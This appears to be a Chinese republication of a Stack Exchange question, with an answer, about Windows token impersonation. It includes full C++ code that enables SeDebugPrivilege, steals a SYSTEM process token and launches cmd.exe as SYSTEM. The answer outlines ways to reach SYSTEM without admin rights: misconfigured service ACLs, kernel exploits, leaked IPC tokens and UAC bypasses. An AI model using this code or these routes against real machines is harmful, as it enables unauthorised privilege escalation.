You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Windows下Token impersonation需管理员权限的原因及无权限实现方案问询

无需管理员身份获取System权限的技术思路

原代码(模拟Winlogon令牌获取System权限)

#include <windows.h>
#include <iostream>
#include <Lmcons.h>
#include <conio.h>

BOOL SetPrivilege(
HANDLE hToken,          // access token handle
LPCTSTR lpszPrivilege,  // name of privilege to enable/disable
BOOL bEnablePrivilege   // to enable or disable privilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;

if (!LookupPrivilegeValue(
    NULL,            // lookup privilege on local system
    lpszPrivilege,   // privilege to lookup 
    &luid))        // receives LUID of privilege
 {
    printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
    return FALSE;
 }

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
    tp.Privileges[0].Attributes = 0;

// Enable the privilege or disable all privileges.

  if (!AdjustTokenPrivileges(
    hToken,
    FALSE,
    &tp,
    sizeof(TOKEN_PRIVILEGES),
    (PTOKEN_PRIVILEGES)NULL,
    (PDWORD)NULL))
    {
    printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
    return FALSE;
    }

    if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)

    {
    printf("[-] The token does not have the specified privilege.\n");
    return FALSE;
     }

    return TRUE;
   }


 int main(int argc, char** argv) {
 // Print whoami to compare to thread later
    printf("[+] Current user is: %s\n"); // (get_username()).c_str());
    system("whoami");
   // Grab PID from command line argument
  char *pid_c = argv[1];
  DWORD PID_TO_IMPERSONATE = 900;

   // Initialize variables and structures
   HANDLE tokenHandle = NULL;
   HANDLE duplicateTokenHandle = NULL;
   STARTUPINFOW startupInfo;
   PROCESS_INFORMATION processInformation;
   ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
   ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
   startupInfo.cb = sizeof(STARTUPINFO);

   // Add SE debug privilege
   HANDLE currentTokenHandle = NULL;
   BOOL getCurrentToken = OpenProcessToken (GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
   if (SetPrivilege (currentTokenHandle, "SeDebugPrivilege", TRUE))
    {
    printf("[+] SeDebugPrivilege enabled!\n");
     }

    // Call OpenProcess(), print return code and error code
    HANDLE processHandle = OpenProcess (PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE);
    if (GetLastError() == NULL)
    printf("[+] OpenProcess() success!\n");
     else
     {
    printf("[-] OpenProcess() Return Code: %i\n", processHandle);
        printf("[-] OpenProcess() Error: %i\n", GetLastError());
     }

     // Call OpenProcessToken(), print return code and error code
     BOOL getToken = OpenProcessToken (processHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &tokenHandle);
      if (GetLastError() == NULL)
        printf("[+] OpenProcessToken() success!\n");
        else
       {
     printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
    printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
      }

       // Impersonate user in a thread
     BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
    if (GetLastError() == NULL)
    {
    printf("[+] ImpersonatedLoggedOnUser() success!\n");
      //    printf("[+] Current user is: %s\n", (get_username()).c_str());
    system("whoami");
    printf("[+] Reverting thread to original user context\n");
    RevertToSelf();
    }
    else
    {
    printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
    printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
    }   

    // Call DuplicateTokenEx(), print return code and error code
    BOOL duplicateToken = DuplicateTokenEx(tokenHandle, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
    if (GetLastError() == NULL)
    printf("[+] DuplicateTokenEx() success!\n");
    else
    {
    printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
    printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
    }

    // Call CreateProcessWithTokenW(), print return code and error code
     BOOL createProcess =  CreateProcessWithTokenW (duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
     if (GetLastError() == NULL)
     printf("[+] Process spawned!\n");
     else
      {
        printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
    printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
    }

    getch();
    return 0;
    }

上述代码依赖管理员权限才能打开Winlogon进程并获取其令牌,核心限制在于普通用户没有权限访问Winlogon这类高权限系统进程。以下是无需管理员身份实现System权限获取的技术思路:

  • 寻找低权限可访问的LocalSystem进程:部分系统服务或第三方进程虽以System身份运行,但由于DACL权限配置过松,普通用户可直接打开并获取其令牌。找到这类进程后,即可复用代码中的令牌模拟逻辑,无需管理员权限。这类场景多见于配置错误的服务,或部分旧版本Windows的默认服务。

  • 利用内核提权漏洞:针对特定Windows版本的内核驱动、系统服务逻辑缺陷,普通用户权限的代码可通过漏洞直接提升至System权限上下文,无需依赖令牌模拟。这类漏洞通常需要针对具体系统版本开发利用代码,且会随系统补丁修复失效。

  • 利用合法令牌共享/继承缺陷:部分高权限进程在创建子进程或进行IPC通信时,可能错误地将高权限令牌暴露给普通用户进程。通过监听命名管道、共享内存等IPC通道,或利用进程继承关系,可获取到可利用的高权限令牌。这类场景较为少见,需依赖特定系统或软件的配置缺陷。

  • UAC绕过直接获取System权限:部分UAC绕过技术可跳过管理员权限验证,直接触发System权限的代码执行。例如利用系统服务的自动修复机制、任务计划的配置漏洞等,普通用户可触发这些机制执行自定义代码,从而获得System权限。

内容的提问来源于stack exchange,提问作者Marsha4Coding

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.16 23:45:39